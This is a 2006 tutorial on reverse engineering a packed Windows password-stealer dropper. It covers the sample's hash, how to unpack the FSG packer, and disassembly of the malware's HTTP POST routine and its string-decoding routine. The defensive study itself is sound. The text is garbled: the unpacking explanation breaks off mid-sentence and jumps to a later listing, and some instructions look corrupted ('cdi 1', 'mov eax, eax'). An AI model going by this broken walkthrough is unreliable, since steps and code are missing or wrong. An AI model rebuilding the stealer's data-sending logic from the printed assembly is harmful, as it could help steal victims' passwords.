

Anatomy of a Malware

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January 9, 2006

Introduction

This tutorial should help people understand how a simple piece of malware works. I might eventually go on with a series of papers that should help beginners in reverse engineering to cope with malicious programs.

This first paper is about a password stealer. To start with something simple, it's a dropper program written in C, packed with FSG. The code is quite clear and understandable. Many common techniques used by malware in general are used in this very program, which makes it an even more educative piece of malware to look at. For educational purposes, most of the analysis will consist of a white box approach - in our case, meaning stepping through the program and analyzing it with a disassembler.

Characteristics of the file:

- MD5 hash: fceea9d062a5f55ef4c7be8df5abd127
- Size: 6961 bytes
- Type: 32-bit Windows Portable Executable (PE)
- Packed: yes
- High level language: C, very likely

Reader's requirements:

- Intel x86 assembly
- Windows API, MSDN nearby

The original malware

First of all, let's have a general look at this file, using an hexadecimal editor such as Hiew. Nothing particular there, it's a standard PE file with 2 sections; the first one has a physical size of 0 bytes. This is the sign of a packed file (an empty section, which will be filled with the data unpacked from another section). The file contains no visible embedded executable.

People used to reverse engineer malware will find the entry point quite characteristic:

```
xchg     esp, [0040D850]
popad
xchg     esp, eax
push     ebp
...
```

Our suspicion is confirmed, this file is packed with FSG version 2. FSG is a freely available packer; its initials mean "Fast, Small, Good". I encourage you to download it on the Internet, and try to pack a file with it, to check that the entry point is similar to the one of our malware. This packer is easily bypassed: the stub consists of the Aplib library code that decompresses the executable in the first section. The IAT is resolved with a LoadLibrary loop, just before a jump to the original entry point.

Let's see how to bypass that with OllyDbg. Since the API resolution is done after the unpacking with a series of calls to LoadLibraryA/GetProcAddress, let's set a breakpoint on this API. You can then go through this loop manually till the jump to the original entry point, or directly set a breakpoint on the jmp [ebx+0c] in the middle of the loop, which is how FSG

```

1000181B      mov     [ebp+hConnect], eax
1000181E      cmp     [ebp+hConnect], 0
10001822      jnz     short loc_10001835
10001824      mov     edx, [ebp+hInternet]
10001827      push    edx                ; hInternet
10001828      call    ds:InternetCloseHandle
1000182E      xor     eax, eax
10001830      jmp     loc_100018C5
10001835      ; -----
10001835      loc_10001835:
10001835      mov     [ebp+lpszAcceptTypes],
10001835      offset aAccept ; "Accept: */*"
1000183C      mov     [ebp+var_10], 0
10001843      push    0                ; dwContext
10001845      push    80000000h        ; dwFlags
1000184A      lea     eax, [ebp+lpszAcceptTypes]
1000184D      push    eax                ; lplpszAcceptTypes
1000184E      push    0                ; lpszReferrer
10001850      push    offset szVersion ; "HTTP/1.0"
10001855      mov     ecx, [ebp+lpszObjectName]
10001858      push    ecx                ; lpszObjectName
10001859      push    offset szVerb    ; "POST"
1000185E      mov     edx, [ebp+hConnect]
10001861      push    edx                ; hConnect
10001862      call    ds:HttpOpenRequestA
10001868      mov     [ebp+hRequest], eax
1000186B      cmp     [ebp+hRequest], 0
1000186F      jnz     short loc_10001889
10001871      mov     eax, [ebp+hConnect]
10001874      push    eax                ; hConnect
10001875      call    ds:InternetCloseHandle
1000187B      mov     ecx, [ebp+hInternet]
1000187E      push    ecx                ; hInternet
1000187F      call    ds:InternetCloseHandle
10001885      mov     eax, eax
10001887      jmp     short loc_100018C5
10001889      ; -----
10001889      loc_10001889:
10001889      mov     edx, [ebp+dwOptionalLength]
1000188C      push    edx                ; dwOptionalLength
1000188D      mov     eax, [ebp+lpOptional]
10001890      push    eax                ; lpOptional
10001891      push    2Fh                ; dwHeadersLength
10001893      push    offset szHeaders
10001893      ; "Content-Type: application/x-www-form-urlencoded"
10001898      mov     ecx, [ebp+hRequest]
1000189B      push    ecx                ; hRequest
1000189C      call    ds:HttpSendRequestA
100018A2      mov     edx, [ebp+hRequest]
100018A5      push    edx                ; hInternet
100018A6      call    ds:InternetCloseHandle
100018AC      mov     eax, [ebp+hConnect]
100018AF      push    eax                ; hInternet
100018B0      call    ds:InternetCloseHandle
100018B6      mov     ecx, [ebp+hInternet]
100018B9      push    ecx                ; hInternet
100018BA      call    ds:InternetCloseHandle
100018C0      mov     eax, 1
100018C5      loc_100018C5:
100018C5      mov     esp, ebp
100018C7      pop     ebp

```

```

100018C9 data = dword ptr 8
100018C9
100018C9 push ebp
100018CA mov ebp, esp
100018CC sub esp, 0Ch
100018CF push 50h ; size_t
100018D1 call malloc
100018D6 add esp, 4
100018D9 mov [ebp+buffer], eax
100018DC push 50h ; size_t
100018DE push 0 ; int
100018E0 mov eax, [ebp+buffer]
100018E3 push eax ; void *
100018E4 call memset
100018E9 add esp, 0Ch
100018EC mov ecx, [ebp+data]
100018EF push ecx ; char *
100018F0 call strlen
100018F5 add esp, 4
100018F8 mov [ebp+len], eax
100018FB mov [ebp+cpt], 0
10001902 jmp short loc_1000190D
10001904 ; -----
10001904
10001904 loc_10001904:
10001904 mov edx, [ebp+cpt]
10001907 add edx, 1
1000190A mov [ebp+cpt], edx
1000190D
1000190D loc_1000190D:
1000190D mov eax, [ebp+cpt]
10001910 cmp eax, [ebp+len]
10001913 jnb short @exit
10001915 mov ecx, [ebp+data]
10001918 add ecx, [ebp+cpt]
1000191B mov eax, ecx
1000191D mov al, [ecx]
1000191F cdi 1
10001920 sub eax, edx
10001922 sar eax, 1
10001924 sub eax, 1
10001927 mov edx, [ebp+buffer]
1000192A add edx, [ebp+cpt]
1000192D mov [edx], al
1000192F jmp short loc_10001904
10001931 ; -----
10001931
10001931 @exit:
10001931 mov eax, [ebp+buffer]
10001934 mov esp, ebp
10001936 pop ebp
10001937 retn
10001937 decode_http_info endp

```

If this function doesn't speak to you, just look at those instructions:

```

xor     eax, eax
mov     al, [ecx]
...
sar     eax, 1
sub     eax, 1
...
mov     [edx], al

```